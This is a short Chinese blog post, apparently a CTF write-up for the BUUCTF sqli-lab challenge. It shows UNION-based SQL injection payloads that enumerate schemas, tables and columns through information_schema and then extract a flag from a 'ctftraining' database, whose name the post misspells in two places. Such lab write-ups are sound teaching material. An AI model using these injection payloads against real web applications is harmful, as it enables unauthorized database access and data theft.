8.24 BUUCTF sqli-lab SQL注入 获取schema_name

这题不能单纯的

id=-1' union select 1,database(),1 -- -

因为这样始终只能得到 security的库
查询schema:

id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata)

找到 ctftraing 后查询table_name:

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining') -- -

column_name类似 flag
最后 从flag 中获取flag时不能像原来那么写
因为原来的写法是默认的schema 我们现在是在ctftraining的schema下:

id=-1' union select 1,(select group_concat(flag) from ctftraing.flag) -- -
posted @ 2023-08-24 22:33  N0zoM1z0  阅读(31)  评论(0编辑  收藏  举报